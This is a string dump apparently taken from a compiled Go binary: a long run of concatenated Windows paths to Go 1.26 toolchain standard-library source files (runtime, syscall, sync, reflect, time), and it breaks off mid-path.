pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/strconv/atoi.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/strconv/ftoa.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/strconv/ctoa.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/strconv/decimal.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/strconv/math.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/strconv/deps.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/strconv/ftoadbox.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/strconv/ftoafixed.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/math/bits/bits.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/strconv/itoa.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/runtime/syscall/linux/syscall_linux.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/runtime/syscall/linux/asm_linux_386.sC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/runtime/cgroup/cgroup.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/runtime/cgroup/line_reader.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/bytealg/count_generic.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/bytealg/equal_generic.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/runtime/cgroup/cgroup_linux.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/runtime/maps/group.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/runtime/maps/map.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/runtime/sys/intrinsics.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/abi/map.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/runtime/maps/runtime_fast32.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/runtime/maps/runtime_fast64.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/runtime/maps/runtime_faststr.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/runtime/maps/table.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/runtime/maps/runtime.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/stringslite/strings.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/bytealg/index_generic.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/bytealg/bytealg.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/runtime/exithook/hooks.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/chacha8rand/chacha8.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/byteorder/byteorder.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/chacha8rand/chacha8_generic.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/chacha8rand/chacha8_stub.sC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/float.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/iface.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/netpoll.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/signal_unix.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/os_linux_generic.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/select.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/alg.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/arena.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/mheap.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/stubs.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/lockrank_off.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/lock_spinbit.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/atomic_pointer.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/os_linux.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/cgo_sigaction.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/cgocall.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/cgroup_linux.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/chan.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/runtime2.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/proc.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/cpuprof.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/time_nofake.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/debug.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/env_posix.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/error.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/symtab.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/traceback.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/extern.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/fds_unix.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/hash32.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/print.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/hexdump.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/histogram.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/metrics.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/type.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/lfstack.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/tagptr_32bit.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/list_manual.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/lock_futex.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/msize.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/mprof.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/rand.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/lockrank.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/malloc.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/mem.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/mem_linux.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/mfixalloc.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/mcache.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/runtime1.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/mbitmap.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/traceruntime.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/fastlog2.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/map.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/mbarrier.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/mwbbuf.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/mgcmark_greenteagc.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/mcentral.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/mcheckmark.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/mgc.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/mgcmark.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/mcleanup.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/mfinal.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/mstats.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/sema.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/mgcpacer.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/mgcsweep.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/mgclimit.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/stack.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/mgcstack.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/mgcwork.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/mgcscavenge.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/time.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/mranges.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/mpagealloc.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/mpallocbits.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/mpagecache.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/minmax.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/mpagealloc_32bit.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/mspanset.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/netpoll_epoll.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/defs_linux_386.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/signal_linux_386.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/os_linux32.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/panic.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/symtabinl.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/pinner.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/preempt.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/preempt_noxreg.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/write_err.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/runtime.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/stubs2.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/string.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/rwmutex.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/security_unix.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/vdso_linux.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/profbuf.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/retry.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/set_vma_name_linux.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/signal_386.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/sigqueue.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/slice.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/sys_x86.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/stkframe.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/synctest.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/tracebuf.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/trace.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/tracestatus.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/traceallocfree.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/traceevent.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/tracetime.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/tracecpu.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/tracemap.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/traceregion.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/tracestack.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/tracestring.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/tracetype.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/unsafe.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/utf8.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/vlrt.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/timestub.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/asm.sC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/asm_386.sC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/duff_386.sC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/memclr_386.sC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/memmove_386.sC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/preempt_386.sC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/rt0_linux_386.sC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/sys_linux_386.sC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/vlop_386.sC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/reflectlite/type.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/errors/wrap.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/errors/errors.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/sync/atomic/type.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/sync/atomic/value.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/sync/atomic/asm.sC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/sync/mutex.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/sync/mutex.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/sync/once.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/sync/pool.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/sync/poolqueue.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/sync/runtime.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/sync/rwmutex.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/sync/hashtriemap.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/bisect/bisect.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/godebug/godebug.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/godebugs/table.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/sync/map.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/iter/iter.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/syscall/env_unix.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/sync/oncefunc.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/syscall/syscall_linux.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/syscall/exec_linux.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/syscall/forkpipe2.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/syscall/syscall_unix.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/syscall/exec_unix.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/syscall/syscall.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/syscall/flock_linux_32bit.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/syscall/rlimit.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/slices/slices.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/syscall/zsyscall_linux_386.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/syscall/syscall_linux_386.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/syscall/asm_linux_386.sC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/time/format.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/time/time.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/time/format_rfc3339.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/time/sleep.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/time/sys_unix.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/time/zoneinfo.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/time/zoneinfo_read.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/time/zoneinfo_goroot.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/time/zoneinfo_unix.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/context/context.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/unicode/utf8/utf8.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/strconv/number.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/strconv/atob.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/strconv/quote.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/unicode/tables.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/unicode/graphic.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/unicode/letter.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/reflect/map.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/reflect/value.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/reflect/abi.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/reflect/type.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/abi/abi.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/reflect/deepequal.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/reflect/makefunc.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/reflect/asm_386.sC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/fmtsort/sort.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/slices/sort.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/cmp/cmp.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/slices/zsortanyfunc.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/io/io.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/io/fs/fs.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/io/fs/format.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/filepathlite/path.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/filepathlite/path_unix.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/testlog/exit.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/testlog/log.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/syscall/unix/at.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/syscall/unix/copy_file_range_unix.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/syscall/unix/fcntl_unix.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/syscall/unix/kernel_version_linux.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/syscall/unix/pidfd_linux.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/syscall/unix/waitid_linux.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/poll/copy_file_range_linux.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/syscall/unix/kernel_version_ge.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/poll/sendfile.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd6